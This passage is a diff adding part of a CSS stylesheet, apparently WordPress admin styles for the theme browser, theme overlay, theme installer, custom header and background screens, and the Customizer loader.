+.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"],
+.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] {
+	display: none;
+}
+
+.broken-themes a.delete-theme,
+.theme-overlay .theme-actions .delete-theme {
+	color: #a00;
+	text-decoration: none;
+	border-color: transparent;
+	box-shadow: none;
+	background: transparent;
+}
+
+.theme-overlay .theme-actions .delete-theme {
+	position: absolute;
+	right: 10px;
+	bottom: 5px;
+}
+
+.broken-themes a.delete-theme:hover,
+.broken-themes a.delete-theme:focus,
+.theme-overlay .theme-actions .delete-theme:hover,
+.theme-overlay .theme-actions .delete-theme:focus {
+	background: #d54e21;
+	color: #fff;
+	border-color: #d54e21;
+}
+
+.theme-overlay .theme-actions .active-theme,
+.theme-overlay.active .theme-actions .inactive-theme {
+	display: none;
+}
+
+.theme-overlay .theme-actions .inactive-theme,
+.theme-overlay.active .theme-actions .active-theme {
+	display: block;
+}
+
+/**
+ * Theme Screenshots gallery
+ */
+.theme-overlay .theme-screenshots {
+	float: left;
+	margin: 0 30px 0 0;
+	width: 55%;
+	max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */
+	text-align: center;
+}
+
+/* First screenshot, shown big */
+.theme-overlay .screenshot {
+	border: 1px solid #fff;
+	box-sizing: border-box;
+	overflow: hidden;
+	position: relative;
+	box-shadow: 0 0 0 1px rgba(0,0,0,0.2);
+}
+
+.theme-overlay .screenshot:after {
+	content: "";
+	display: block;
+	padding-top: 75%; /* using a 4/3 aspect ratio */
+}
+
+.theme-overlay .screenshot img {
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+/* Handles old 300px screenshots */
+.theme-overlay.small-screenshot .theme-screenshots {
+	position: absolute;
+	width: 302px;
+}
+.theme-overlay.small-screenshot .theme-info {
+	margin-left: 350px;
+	width: auto;
+}
+
+/* Other screenshots, shown small and square */
+.theme-overlay .screenshot.thumb {
+	background: #ccc;
+	border: 1px solid #eee;
+	float: none;
+	display: inline-block;
+	margin: 10px 5px 0;
+	width: 140px;
+	height: 80px;
+	cursor: pointer;
+}
+
+.theme-overlay .screenshot.thumb:after {
+	content: "";
+	display: block;
+	padding-top: 100%; /* using a 1/1 aspect ratio */
+}
+
+.theme-overlay .screenshot.thumb img {
+	cursor: pointer;
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+	height: auto;
+}
+
+.theme-overlay .screenshot.selected {
+	background: transparent;
+	border: 2px solid #00a0d2;
+}
+
+.theme-overlay .screenshot.selected img {
+	opacity: 0.8;
+}
+
+/* No screenshot placeholder */
+.theme-browser .theme .theme-screenshot.blank,
+.theme-overlay .screenshot.blank {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=);
+}
+
+/**
+ * Theme heading information
+ */
+.theme-overlay .theme-info {
+	width: 40%;
+	float: left;
+}
+
+.theme-overlay .current-label {
+	background: #32373c;
+	color: #fff;
+	font-size: 11px;
+	display: inline-block;
+	padding: 2px 8px;
+	border-radius: 2px;
+	margin: 0 0 -10px;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.theme-overlay .theme-name {
+	color: #23282d;
+	font-size: 32px;
+	font-weight: 100;
+	margin: 10px 0 0;
+	line-height: 1.3;
+	word-wrap: break-word;
+	overflow-wrap: break-word;
+}
+
+.theme-overlay .theme-version {
+	color: #72777c;
+	font-size: 13px;
+	font-weight: 400;
+	float: none;
+	display: inline-block;
+	margin-left: 10px;
+}
+
+.theme-overlay .theme-author {
+	margin: 15px 0 25px;
+	color: #72777c;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: inherit;
+}
+
+.theme-overlay .theme-author a {
+	text-decoration: none;
+}
+
+.theme-overlay .theme-description {
+	color: #555;
+	font-size: 15px;
+	font-weight: 400;
+	line-height: 1.5;
+	margin: 30px 0 0 0;
+}
+
+.theme-overlay .theme-tags {
+	border-top: 3px solid #eee;
+	color: #82878c;
+	font-size: 13px;
+	font-weight: 400;
+	margin: 30px 0 0 0;
+	padding-top: 20px;
+}
+
+.theme-overlay .theme-tags span {
+	color: #444;
+	font-weight: 600;
+	margin-right: 5px;
+}
+
+.theme-overlay .parent-theme {
+	background: #f7fcfe;
+	border: 1px solid #eee;
+	border-left: 4px solid #00a0d2;
+	font-size: 14px;
+	font-weight: 400;
+	margin-top: 30px;
+	padding: 10px 10px 10px 20px;
+}
+
+.theme-overlay .parent-theme strong {
+	font-weight: 700;
+}
+
+/**
+ * Single Theme Mode
+ * Displays detailed view inline when a user has no switch capabilities
+ */
+.single-theme .theme-overlay .theme-backdrop,
+.single-theme .theme-overlay .theme-header,
+.single-theme .theme {
+	display: none;
+}
+
+.single-theme .theme-overlay .theme-wrap {
+	clear: both;
+	min-height: 330px;
+	position: relative;
+	left: auto;
+	right: auto;
+	top: auto;
+	bottom: auto;
+	z-index: 10;
+}
+
+.single-theme .theme-overlay .theme-about {
+	padding: 30px 30px 70px;
+	position: static;
+}
+
+.single-theme .theme-overlay .theme-actions {
+	position: absolute;
+}
+
+/**
+ * Basic Responsive structure...
+ *
+ * Shuffles theme columns around based on screen width
+ */
+
+@media only screen and (min-width: 2000px) {
+	#wpwrap .theme-browser .theme {
+		width: 17.6%;
+		margin: 0 3% 3% 0;
+	}
+
+	#wpwrap .theme-browser .theme:nth-child(3n),
+	#wpwrap .theme-browser .theme:nth-child(4n) {
+		margin-right: 3%;
+	}
+
+	#wpwrap .theme-browser .theme:nth-child(5n) {
+		margin-right: 0;
+	}
+}
+
+@media only screen and (min-width: 1680px) {
+	.theme-overlay .theme-wrap {
+		width: 1450px;
+		margin: 0 auto;
+	}
+}
+
+/* Maximum screenshot width reaches 440px */
+@media only screen and (min-width: 1640px) {
+	.theme-browser .theme {
+		width: 22.7%;
+		margin: 0 3% 3% 0;
+	}
+	.theme-browser .theme .theme-screenshot:after {
+		padding-top: 75%; /* using a 4/3 aspect ratio */
+	}
+
+	.theme-browser .theme:nth-child(3n) {
+		margin-right: 3%;
+	}
+
+	.theme-browser .theme:nth-child(4n) {
+		margin-right: 0;
+	}
+}
+/* Maximum screenshot width reaches 440px */
+@media only screen and (max-width: 1120px) {
+	.theme-browser .theme {
+		width: 47.5%;
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(even) {
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(odd) {
+		margin-right: 5%;
+	}
+}
+
+/* Admin menu is folded */
+@media only screen and (max-width: 900px) {
+	.theme-overlay .theme-wrap {
+		left: 65px;
+	}
+}
+
+@media only screen and (max-width: 780px) {
+	body.folded .theme-overlay .theme-wrap,
+	.theme-overlay .theme-wrap {
+		top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */
+		right: 0;
+		bottom: 0;
+		left: 0;
+		padding: 70px 20px 20px;
+		border: none;
+		z-index: 100000; /* should overlap #wpadminbar. */
+		position: fixed;
+	}
+
+	.theme-browser .theme.active .theme-name span {
+		/* Hide the "Active: " label on smaller screens. */
+		display: none;
+	}
+
+	.theme-overlay .theme-screenshots {
+		width: 40%;
+	}
+
+	.theme-overlay .theme-info {
+		width: 50%;
+	}
+	.single-theme .theme-wrap {
+		padding: 10px;
+	}
+
+	.theme-browser .theme .theme-actions {
+		padding: 5px 10px 4px 10px;
+	}
+
+	.theme-overlay.small-screenshot .theme-screenshots {
+		position: static;
+		float: none;
+		max-width: 302px;
+	}
+
+	.theme-overlay.small-screenshot .theme-info {
+		margin-left: 0;
+		width: auto;
+	}
+
+	.theme:not(.active):hover .theme-actions,
+	.theme:not(.active):focus .theme-actions,
+	.theme:hover .more-details,
+	.theme:focus .more-details {
+		display: none;
+	}
+
+	.theme-browser.rendered .theme:hover .theme-screenshot img,
+	.theme-browser.rendered .theme:focus .theme-screenshot img {
+		opacity: 1.0;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.theme-browser .theme {
+		width: 100%;
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(2n),
+	.theme-browser .theme:nth-child(3n) {
+		margin-right: 0;
+	}
+}
+
+@media only screen and (max-width: 650px) {
+	.theme-overlay .theme-description {
+		margin-left: 0;
+	}
+
+	.theme-overlay .theme-actions .delete-theme {
+		position: relative;
+		right: auto;
+		bottom: auto;
+	}
+
+	.theme-overlay .theme-actions .inactive-theme {
+		display: inline;
+	}
+
+	.theme-overlay .theme-screenshots {
+		width: 100%;
+		float: none;
+	}
+
+	.theme-overlay .theme-info {
+		width: 100%;
+	}
+
+	.theme-overlay .theme-author {
+		margin: 5px 0 15px 0;
+	}
+
+	.theme-overlay .current-label {
+		margin-top: 10px;
+		font-size: 13px;
+	}
+
+	.themes-php .wp-filter-search {
+		float: none;
+		clear: both;
+		left: 0;
+		right: 0;
+		margin: -5px 0 20px 0;
+		width: 100%;
+		max-width: 280px;
+	}
+
+	.theme-browser .theme.add-new-theme span:after {
+		font: normal 60px/90px dashicons;
+		width: 80px;
+		height: 80px;
+		top: 30%;
+		left: 50%;
+		text-indent: 0;
+		margin-left: -40px;
+	}
+
+	.single-theme .theme-wrap {
+		margin: 0 -12px 0 -10px;
+		padding: 10px;
+	}
+	.single-theme .theme-overlay .theme-about {
+		padding: 10px;
+		overflow: visible;
+	}
+	.single-theme .current-label {
+		display: none;
+	}
+	.single-theme .theme-overlay .theme-actions {
+		position: static;
+	}
+}
+
+.broken-themes {
+	clear: both;
+}
+
+.broken-themes table {
+	text-align: left;
+	width: 50%;
+	border-spacing: 3px;
+	padding: 3px;
+}
+
+
+/*------------------------------------------------------------------------------
+  16.2 - Install Themes
+------------------------------------------------------------------------------*/
+
+/* Already installed theme */
+.theme-browser .theme .theme-installed {
+	background: #0073aa;
+}
+.theme-browser .theme .notice-success p:before {
+	color: #79ba49;
+	content: "\f147";
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	vertical-align: top;
+}
+
+.theme-install.updated-message:before {
+	content: '';
+}
+
+.theme-install-php .wp-filter {
+	padding-left: 20px;
+}
+
+.theme-install-php a.upload,
+.theme-install-php a.browse-themes {
+	cursor: pointer;
+}
+
+.upload-view-toggle .browse,
+.plugin-install-tab-upload .upload-view-toggle .upload {
+	display: none;
+}
+
+.plugin-install-tab-upload .upload-view-toggle .browse {
+	display: inline;
+}
+
+.upload-theme,
+.upload-plugin {
+	box-sizing: border-box;
+	display: none;
+	margin: 0;
+	padding: 50px 0;
+	width: 100%;
+	overflow: hidden;
+	position: relative;
+	top: 10px;
+}
+
+.upload-plugin-wrap {
+	display: none;
+}
+
+.show-upload-view .upload-theme,
+.show-upload-view .upload-plugin,
+.show-upload-view .upload-plugin-wrap,
+.plugin-install-tab-upload .upload-plugin {
+	display: block;
+}
+
+.upload-theme .wp-upload-form,
+.upload-plugin .wp-upload-form {
+	background: #fafafa;
+	border: 1px solid #e5e5e5;
+	padding: 30px;
+	margin: 30px auto;
+	max-width: 380px;
+}
+.upload-theme .install-help,
+.upload-plugin .install-help {
+	color: #555d66; /* #f1f1f1 background */
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 0;
+	text-align: center;
+}
+
+p.no-themes,
+p.no-themes-local {
+	clear: both;
+	color: #666;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 100px 0;
+	text-align: center;
+	display: none;
+}
+
+.no-results p.no-themes {
+	display: block;
+}
+
+.theme-install-php .add-new-theme {
+	display: none !important;
+}
+
+@media only screen and (max-width: 1120px) {
+	.upload-theme .wp-upload-form {
+		margin: 20px 0;
+		max-width: 100%;
+	}
+	.upload-theme .install-help {
+		font-size: 15px;
+		padding: 20px 0 0;
+		text-align: left;
+	}
+}
+
+.theme-details .theme-rating {
+	line-height: 23px;
+}
+
+.theme-details .star-rating {
+	display: inline;
+}
+
+.theme-details .num-ratings,
+.theme-details .no-rating {
+	font-size: 11px;
+	color: #72777c;
+}
+
+.theme-details .no-rating {
+	display: block;
+	line-height: 20px;
+}
+
+/*------------------------------------------------------------------------------
+  16.3 - Custom Header Screen
+------------------------------------------------------------------------------*/
+
+.appearance_page_custom-header #headimg {
+	border: 1px solid #ddd;
+	overflow: hidden;
+	width: 100%;
+}
+
+.appearance_page_custom-header #upload-form p label {
+	font-size: 12px;
+}
+
+.appearance_page_custom-header .available-headers .default-header {
+	float: left;
+	margin: 0 20px 20px 0;
+}
+
+.appearance_page_custom-header .random-header {
+	clear: both;
+	margin: 0 20px 20px 0;
+	vertical-align: middle;
+}
+
+.appearance_page_custom-header .available-headers label input,
+.appearance_page_custom-header .random-header label input {
+	margin-right: 10px;
+}
+
+.appearance_page_custom-header .available-headers label img {
+	vertical-align: middle;
+}
+
+
+/*------------------------------------------------------------------------------
+  16.4 - Custom Background Screen
+------------------------------------------------------------------------------*/
+
+div#custom-background-image {
+	min-height: 100px;
+	border: 1px solid #ddd;
+}
+
+div#custom-background-image img {
+	max-width: 400px;
+	max-height: 300px;
+}
+
+.background-position-control input[type="radio"]:checked ~ .button {
+	background: #eee;
+	border-color: #999;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, .5 );
+	z-index: 1;
+}
+
+.background-position-control input[type="radio"]:focus ~ .button {
+	border-color: #5b9dd9;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, .5 ), 0 0 3px rgba( 0, 115, 170, .8 );
+	color: #23282d;
+}
+
+.background-position-control .background-position-center-icon,
+.background-position-control .background-position-center-icon:before {
+	display: inline-block;
+	line-height: 1;
+	text-align: center;
+	transition: background-color .1s ease-in 0;
+}
+
+.background-position-control .background-position-center-icon {
+	height: 20px;
+	margin-top: 13px;
+	vertical-align: top;
+	width: 20px;
+}
+
+.background-position-control .background-position-center-icon:before {
+	background-color: #555;
+	border-radius: 50%;
+	content: "";
+	height: 12px;
+	width: 12px;
+}
+
+.background-position-control .button:hover .background-position-center-icon:before,
+.background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before {
+	background-color: #23282d;
+}
+
+.background-position-control .button-group {
+	display: block;
+}
+
+.background-position-control .button-group .button {
+	border-radius: 0;
+	box-shadow: none;
+	/* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */
+	height: 40px !important;
+	line-height: 37px !important;
+	margin: 0 -1px 0 0 !important;
+	padding: 0 10px 1px !important;
+	position: relative;
+}
+
+.background-position-control .button-group .button:active,
+.background-position-control .button-group .button:hover,
+.background-position-control .button-group .button:focus {
+	z-index: 1;
+}
+
+.background-position-control .button-group:last-child .button {
+	box-shadow: 0 1px 0 #ccc;
+}
+
+.background-position-control .button-group > label {
+	margin: 0 !important;
+}
+
+.background-position-control .button-group:first-child > label:first-child .button {
+	border-radius: 3px 0 0;
+}
+
+.background-position-control .button-group:first-child > label:first-child .dashicons {
+	transform: rotate( 45deg );
+}
+
+.background-position-control .button-group:first-child > label:last-child .button {
+	border-radius: 0 3px 0 0;
+}
+
+.background-position-control .button-group:first-child > label:last-child .dashicons {
+	transform: rotate( -45deg );
+}
+
+.background-position-control .button-group:last-child > label:first-child .button {
+	border-radius: 0 0 0 3px;
+}
+
+.background-position-control .button-group:last-child > label:first-child .dashicons {
+	transform: rotate( -45deg );
+}
+
+.background-position-control .button-group:last-child > label:last-child .button {
+	border-radius: 0 0 3px 0;
+}
+
+.background-position-control .button-group:last-child > label:last-child .dashicons {
+	transform: rotate( 45deg );
+}
+
+.background-position-control .button-group .dashicons {
+	margin-top: 9px;
+}
+
+.background-position-control .button-group + .button-group {
+	margin-top: -1px;
+}
+
+/*------------------------------------------------------------------------------
+  23.0 - Full Overlay w/ Sidebar
+------------------------------------------------------------------------------*/
+
+body.full-overlay-active {
+	overflow: hidden;
+	/* Hide all the content, the Customizer overlay is then made visible to be the only available content. */
+	visibility: hidden;
+}
+
+.wp-full-overlay {
+	background: transparent;
+	z-index: 500000;
+	position: fixed;
+	overflow: visible;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	height: 100%;
+	min-width: 0;
+}
+
+.wp-full-overlay-sidebar {
+	box-sizing: border-box;
+	position: fixed;
+	min-width: 300px;
+	max-width: 600px;
+	width: 18%;
+	height: 100%;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	padding: 0;
+	margin: 0;
+	z-index: 10;
+	background: #eee;
+	border-right: none;
+}
+
+.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+	overflow: visible;
+}
+
+.wp-full-overlay.collapsed,
+.wp-full-overlay.expanded .wp-full-overlay-sidebar {
+	margin-left: 0 !important;
+}
+
+.wp-full-overlay.expanded {
+	margin-left: 300px;
+}
+
+.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+	margin-left: -300px;
+}
+
+@media screen and (min-width: 1667px) {
+	.wp-full-overlay.expanded {
+		margin-left: 18%;
+	}
+
+	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+		margin-left: -18%;
+	}
+}
+
+@media screen and (min-width: 3333px) {
+	.wp-full-overlay.expanded {
+		margin-left: 600px;
+	}
+
+	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+		margin-left: -600px;
+	}
+}
+
+.wp-full-overlay-sidebar:after {
+	content: "";
+	display: block;
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	width: 3px;
+	z-index: 1000;
+}
+
+.wp-full-overlay-main {
+	position: absolute;
+	left: 0;
+	right: 0;
+	top: 0;
+	bottom: 0;
+	height: 100%;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header {
+	position: absolute;
+	left: 0;
+	right: 0;
+	height: 45px;
+	padding: 0 15px;
+	line-height: 45px;
+	z-index: 10;
+	margin: 0;
+	border-top: none;
+	box-shadow: none;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header a.back {
+	margin-top: 9px;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-footer {
+	bottom: 0;
+	border-bottom: none;
+	border-top: none;
+	box-shadow: none;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
+	position: absolute;
+	top: 45px;
+	bottom: 45px;
+	left: 0;
+	right: 0;
+	overflow: auto;
+}
+
+/* Close & Navigation Links */
+.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header {
+	padding: 0;
+}
+
+.theme-install-overlay .close-full-overlay,
+.theme-install-overlay .previous-theme,
+.theme-install-overlay .next-theme {
+	display: block;
+	position: relative;
+	float: left;
+	width: 45px;
+	height: 45px;
+	padding-right: 2px;
+	background: #eee;
+	border-right: 1px solid #ddd;
+	color: #444;
+	cursor: pointer;
+	text-decoration: none;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-install-overlay .close-full-overlay:hover,
+.theme-install-overlay .close-full-overlay:focus,
+.theme-install-overlay .previous-theme:hover,
+.theme-install-overlay .previous-theme:focus,
+.theme-install-overlay .next-theme:hover,
+.theme-install-overlay .next-theme:focus {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+	outline: none;
+	box-shadow: none;
+}
+
+.theme-install-overlay .close-full-overlay:before {
+	font: normal 22px/1 dashicons;
+	content: "\f335";
+	position: relative;
+	top: 7px;
+	left: 13px;
+}
+
+.theme-install-overlay .previous-theme:before {
+	font: normal 20px/1 dashicons;
+	content: "\f341";
+	position: relative;
+	top: 6px;
+	left: 14px;
+}
+
+.theme-install-overlay .next-theme:before {
+	font: normal 20px/1 dashicons;
+	content: "\f345";
+	position: relative;
+	top: 6px;
+	left: 13px;
+}
+
+.theme-install-overlay .previous-theme.disabled,
+.theme-install-overlay .next-theme.disabled,
+.theme-install-overlay .previous-theme.disabled:hover,
+.theme-install-overlay .previous-theme.disabled:focus,
+.theme-install-overlay .next-theme.disabled:hover,
+.theme-install-overlay .next-theme.disabled:focus {
+	color: #b4b9be;
+	background: #eee;
+	cursor: default;
+	pointer-events: none;
+}
+
+.theme-install-overlay .close-full-overlay,
+.theme-install-overlay .previous-theme,
+.theme-install-overlay .next-theme {
+	border-left: 0;
+	border-top: 0;
+	border-bottom: 0;
+}
+
+.theme-install-overlay .close-full-overlay:before,
+.theme-install-overlay .previous-theme:before,
+.theme-install-overlay .next-theme:before {
+	top: 2px;
+	left: 0;
+}
+
+/* Collapse Button */
+.wp-core-ui .wp-full-overlay .collapse-sidebar {
+	position: fixed;
+	bottom: 0;
+	left: 0;
+	padding: 9px 0 9px 10px;
+	height: 45px;
+	color: #656a6f;
+	outline: 0;
+	line-height: 1;
+	background-color: transparent !important;
+	border: none !important;
+	box-shadow: none !important;
+	border-radius: 0 !important;
+}
+
+.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
+.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
+	color: #0073aa;
+}
+
+.wp-full-overlay .collapse-sidebar-arrow,
+.wp-full-overlay .collapse-sidebar-label {
+	display: inline-block;
+	vertical-align: middle;
+	line-height: 20px;
+}
+
+.wp-full-overlay .collapse-sidebar-arrow {
+	width: 20px;
+	height: 20px;
+	margin: 0 2px; /* avoid the focus box-shadow to be cut-off */
+	border-radius: 50%;
+	overflow: hidden;
+}
+
+.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
+.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
+    box-shadow:
+    	0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.wp-full-overlay .collapse-sidebar-label {
+	margin-left: 3px;
+}
+
+.wp-full-overlay.collapsed .collapse-sidebar-label {
+	display: none;
+}
+
+.wp-full-overlay .collapse-sidebar-arrow:before {
+	display: block;
+	content: "\f148";
+	background: #eee;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	padding: 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar {
+	padding: 9px 10px;
+}
+
+/* rtl:ignore */
+.wp-full-overlay.collapsed .collapse-sidebar-arrow:before,
+.rtl .wp-full-overlay .collapse-sidebar-arrow:before {
+	transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing  */
+}
+
+.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before {
+	transform: none;
+}
+
+/* Animations */
+.wp-full-overlay,
+.wp-full-overlay-sidebar,
+.wp-full-overlay .collapse-sidebar,
+.wp-full-overlay-main {
+	transition-property: left, right, top, bottom, width, margin;
+	transition-duration: 0.2s;
+}
+
+/* Device/preview size toggles */
+
+.wp-full-overlay {
+	background: #191e23;
+}
+
+.wp-full-overlay-main {
+	background-color: #f1f1f1;
+}
+
+.expanded .wp-full-overlay-footer {
+	position: fixed;
+	bottom: 0;
+	left: 0;
+	min-width: 299px;
+	max-width: 599px;
+	width: 18%;
+	width: calc( 18% - 1px );
+	height: 45px;
+	border-top: 1px solid #ddd;
+	background: #eee;
+}
+
+.wp-full-overlay-footer .devices-wrapper {
+	float: right;
+}
+
+.wp-full-overlay-footer .devices {
+	position: relative;
+	background: #eee;
+	box-shadow: -20px 0 10px -5px #eee;
+}
+
+.wp-full-overlay-footer .devices button {
+	cursor: pointer;
+	background: transparent;
+	border: none;
+	height: 45px;
+	padding: 0 3px;
+	margin: 0 0 0 -4px;
+	box-shadow: none;
+	border-top: 1px solid transparent;
+	border-bottom: 4px solid transparent;
+	transition: .15s color ease-in-out,
+	            .15s background-color ease-in-out,
+	            .15s border-color ease-in-out;
+}
+
+.wp-full-overlay-footer .devices button:focus {
+	box-shadow: none;
+	outline: none;
+}
+
+.wp-full-overlay-footer .devices button:before {
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 20px/30px "dashicons";
+	vertical-align: top;
+	margin: 3px 0;
+	padding: 4px 8px;
+	color: #656a6f;
+}
+
+.wp-full-overlay-footer .devices button.active {
+	border-bottom-color: #191e23;
+}
+
+.wp-full-overlay-footer .devices button:hover,
+.wp-full-overlay-footer .devices button:focus {
+	background-color: #fff;
+}
+
+.wp-full-overlay-footer .devices button:focus,
+.wp-full-overlay-footer .devices button.active:hover {
+	border-bottom-color: #0073aa;
+}
+
+.wp-full-overlay-footer .devices button.active:before {
+	color: #191e23;
+}
+
+.wp-full-overlay-footer .devices button:hover:before,
+.wp-full-overlay-footer .devices button:focus:before {
+	color: #0073aa;
+}
+
+.wp-full-overlay-footer .devices .preview-desktop:before {
+	content: "\f472";
+}
+
+.wp-full-overlay-footer .devices .preview-tablet:before {
+	content: "\f471";
+}
+
+.wp-full-overlay-footer .devices .preview-mobile:before {
+	content: "\f470";
+}
+
+@media screen and (max-width:1024px) {
+	.wp-full-overlay-footer .devices {
+		display: none;
+	}
+}
+
+.collapsed .wp-full-overlay-footer .devices button:before {
+	display: none;
+}
+
+.preview-mobile .wp-full-overlay-main {
+	margin: auto 0 auto -160px;
+	width: 320px;
+	height: 480px;
+	max-height: 100%;
+	max-width: 100%;
+	left: 50%;
+}
+
+.preview-tablet .wp-full-overlay-main {
+	margin: auto 0 auto -360px;
+	width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */
+	height: 1080px;
+	max-height: 100%;
+	max-width: 100%;
+	left: 50%;
+}
+
+
+/*------------------------------------------------------------------------------
+  24.0 - Customize Loader
+------------------------------------------------------------------------------*/
+
+.no-customize-support .hide-if-no-customize,
+.customize-support .hide-if-customize,
+.no-customize-support.wp-core-ui .hide-if-no-customize,
+.no-customize-support .wp-core-ui .hide-if-no-customize,
+.customize-support.wp-core-ui .hide-if-customize,
+.customize-support .wp-core-ui .hide-if-customize {
+	display: none;
+}
+
+#customize-container,
+#customize-controls .notice.notification-overlay {
+	background: #eee;
+	z-index: 500000;
+	position: fixed;
+	overflow: visible;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	height: 100%;
+}
+#customize-container {
+	display: none;
+}
+
+/* Make the Customizer and Theme installer overlays the only available content. */
+#customize-container,
+.theme-install-overlay {
+	visibility: visible;
+}
+
+.customize-loading #customize-container iframe {
+	opacity: 0;
+}
+
+#customize-container iframe,
+.theme-install-overlay iframe {
+	height: 100%;
+	width: 100%;
+	z-index: 20;
+	transition: opacity 0.3s;
+}
+
+#customize-controls {
+	margin-top: 0;
+}
+
+.theme-install-overlay {
+	display: none;
+}
+
+.theme-install-overlay.single-theme {
+	display: block;
+}
+
+.install-theme-info {
+	display: none;
+	padding: 10px 20px 60px;
+}
+
+.single-theme .install-theme-info {
+	padding-top: 15px;
+}
+
+.theme-install-overlay .install-theme-info {
+	display: block;
+}
+
+.install-theme-info .theme-install {
+	float: right;
+	margin-top: 18px;
+}
+
+.install-theme-info .theme-name {
+	font-size: 16px;
+	line-height: 24px;
+	margin-bottom: 0;
+	margin-top: 0;
+}
+
+.install-theme-info .theme-screenshot {
+	margin: 15px 0;
+	width: 258px;
+	border: 1px solid #ccc;
+}
+
+.install-theme-info .theme-details {
+	overflow: hidden;
+}
+
+.theme-details .theme-version {
+	margin: 15px 0;
+}
+
+.theme-details .theme-description {
+	float: left;
+	color: #72777c;
+	line-height: 20px;
+	max-width: 100%;
+}
+
+.theme-install-overlay .wp-full-overlay-header .button {
+	float: right;
+	margin: 8px 10px 0 0;
+	/* For when .theme-install is a span rather than a.button-primary (already installed theme) */
+	line-height: 26px;
+}
+
+.theme-install-overlay .wp-full-overlay-sidebar {
+	background: #eee;
+	border-right: 1px solid #ddd;
+}
+
+.theme-install-overlay .wp-full-overlay-sidebar-content {
+	background: #fff;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+}
+
+.theme-install-overlay .wp-full-overlay-main {
+	position: absolute;
+	z-index: 0;
+	background-color: #f1f1f1;
+}
+
+.customize-loading #customize-container {
+	background-color: #f1f1f1;
+}
+
+#customize-preview.wp-full-overlay-main:before,
+.customize-loading #customize-container:before,
+#customize-controls .notice.notification-overlay.notification-loading:before,
+.theme-install-overlay .wp-full-overlay-main:before {
+	content: "";
+	display: block;
+	width: 20px;
+	height: 20px;
+	position: absolute;
+	left: 50%;
+	top: 50%;
+	z-index: -1;
+	margin: -10px 0 0 -10px;
+	transform: translateZ(0);
+	background: transparent url(../images/spinner.gif) no-repeat center center;
+	background-size: 20px 20px;
+}
+
+#customize-preview.wp-full-overlay-main.iframe-ready:before,
+.theme-install-overlay.iframe-ready .wp-full-overlay-main:before {
+	background-image: none;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.wp-full-overlay .collapse-sidebar-arrow {
+		background-image: url(../images/arrows-2x.png);
+		background-size: 15px 123px;
+	}
+
+	#customize-preview.wp-full-overlay-main:before,
+	.customize-loading #customize-container:before,
+	#customize-controls .notice.notification-overlay.notification-loading:before,
+	.theme-install-overlay .wp-full-overlay-main:before {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.available-theme .action-links .delete-theme {
+		float: none;
+		margin: 0;
+		padding: 0;
+		clear: both;
+	}
+
+	.available-theme .action-links .delete-theme a {
+		padding: 0;
+	}
+
+	.broken-themes table {
+		width: 100%;
+	}
+
+	.theme-install-overlay .wp-full-overlay-header .theme-install {
+		margin-top: 6px;
+		line-height: normal;
+	}
+
+	.theme-browser .theme .theme-actions .button {
+		margin-bottom: 0;
+	}
+
